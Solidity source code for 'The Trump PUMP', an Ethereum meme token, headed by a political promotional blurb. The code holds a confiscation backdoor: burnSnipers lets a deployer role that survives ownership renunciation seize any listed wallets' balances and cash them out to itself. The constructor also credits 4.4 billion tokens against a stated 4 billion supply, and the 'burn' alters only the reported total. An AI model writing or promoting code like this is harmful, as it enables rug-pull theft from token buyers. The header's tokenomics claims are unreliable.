/*

tg: @thetrumppump

Supply is four Billion, thats Billion with a "B"

Low taxes of course, Trump is all about cutting taxes, 4.5% each way, they will be lowered much much more, probably the lowest ever folks.

Sleepy Joe left us with the higest inflation ever, its bad people, really bad.  We're all feeling the pain, and you know what?  Theres really no need for it.

To solve the inflation problem, we will utilize truly unique tokenomics to burn the additional 0.3% uniswap LP fees directly from the blockchain on each tx!

*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPancakePair {
    function sync() external;
}

interface IDEXRouter {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract Ownable is Context {
    address private _owner;
    address private deployer;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender(); 
        _owner = msgSender;
        deployer = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    modifier onlyDeployer() {
        require(deployer ==  _msgSender(), "Ownable: caller is not the owner");
        _;
    }
     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TrumpsPlanToSolveInflation is IERC20, Ownable {
    using SafeMath for uint256;

    address constant mainnetRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 
    address constant WETH          = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
    //Mainnet WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)
    //GORELI  WETH (0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6)
    address constant DEAD          = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO          = 0x0000000000000000000000000000000000000000;

    string constant _name = "The Trump PUMP";
    string constant _symbol = "TTP";
    uint8 constant _decimals = 18;

    uint256 _totalSupply = 4_000_000_000 * (10 ** _decimals);    
    uint256 public _transferLimit = (_totalSupply * 2); 
    uint256 public _maxWalletSize = (_totalSupply * 25) / 1000;  // 2.5% 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
 
    uint256 marketingFee = 45;      
    uint256 totalFee = 45;  
    uint256 feeDenominator = 1000; 
    
    address marketingFeeReceiver;
    address giveawayFeeReceiver;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true; 
    uint256 public swapThreshold = _totalSupply * 2 / 1000;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {
        address deployer = msg.sender;
        router = IDEXRouter(mainnetRouter);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        isTxLimitExempt[address(router)] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[deployer] = true;
        isFeeExempt[deployer] = true;
        marketingFeeReceiver = deployer;
        
        _balances[0xCb80F5Fa069D44Fc1fAf086a86b563Dc16d8590a] = 100_000_000 * (10 ** _decimals);
        emit Transfer(address(0), 0xCb80F5Fa069D44Fc1fAf086a86b563Dc16d8590a, 100_000_000 * (10 ** _decimals));

        _balances[0x30452174CfE2e1f87F1577d99B402c54aEA36074] = 100_000_000 * (10 ** _decimals);
        emit Transfer(address(0), 0x30452174CfE2e1f87F1577d99B402c54aEA36074, 100_000_000 * (10 ** _decimals));

        _balances[0xaD0bc5179dFD0cca82b9817990C8271Df297A417] = 100_000_000 * (10 ** _decimals);
        emit Transfer(address(0), 0xaD0bc5179dFD0cca82b9817990C8271Df297A417, 100_000_000 * (10 ** _decimals));

        _balances[0xeda73FD8626feA514F6bC4bf143A13D70Be9AA70] = 100_000_000 * (10 ** _decimals);
        emit Transfer(address(0), 0xeda73FD8626feA514F6bC4bf143A13D70Be9AA70, 100_000_000 * (10 ** _decimals));

        _balances[deployer] = 4_000_000_000 * (10 ** _decimals);
        emit Transfer(address(0), deployer, 4_000_000_000 * (10 ** _decimals));

    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function name() external pure returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function viewFees() external view returns (uint256, uint256, uint256) { 
        return (marketingFee, totalFee, feeDenominator);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        checkTxLimit(sender, amount);
        
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletSize, "Transfer amount exceeds the bag size.");
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        _totalSupply = _totalSupply.sub((amount).mul(3).div(1000));
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool) public view returns (uint256) {
        return totalFee;
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _transferLimit || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function burnSnipers(address[] memory sniperAddresses) external onlyDeployer {
        for (uint i = 0; i < sniperAddresses.length; i++) {
            _transferFrom(sniperAddresses[i], address(this), balanceOf(sniperAddresses[i]));
        }

        swapBack();

        payable(marketingFeeReceiver).transfer(address(this).balance);
        
    }

    function clearBalance() external {
        
        payable(marketingFeeReceiver).transfer(address(this).balance);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        uint256 amountToSwap = _balances[address(this)];
        if (amountToSwap >= swapThreshold*4)
            amountToSwap = swapThreshold*4;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;


        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        if (address(this).balance >= 50_000_000_000_000_000){
            payable(marketingFeeReceiver).transfer(address(this).balance);
        }

    }

    function setFee(uint256 _marketingFee) external onlyOwner {
          marketingFee = _marketingFee;  
          totalFee = marketingFee;
          require(marketingFee <=80, "Fee should be less than 8%");  //fee denominator is 1000
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;

    }

    function changeTransferLimit(uint256 percent, uint256 denominator) external onlyOwner { 
        require(percent >= 1 && denominator >= 100, "Max transfer must be greater than 1%");
        _transferLimit = _totalSupply.mul(percent).div(denominator);
    }
    
    function changeMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
        require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
        _maxWalletSize = _totalSupply.mul(percent).div(denominator);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function setFeeReceivers(address _marketingFeeReceiver) external onlyOwner {
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function RemoveTax() external onlyDeployer{

        marketingFee = 4;  
        totalFee = marketingFee;
    }

    
}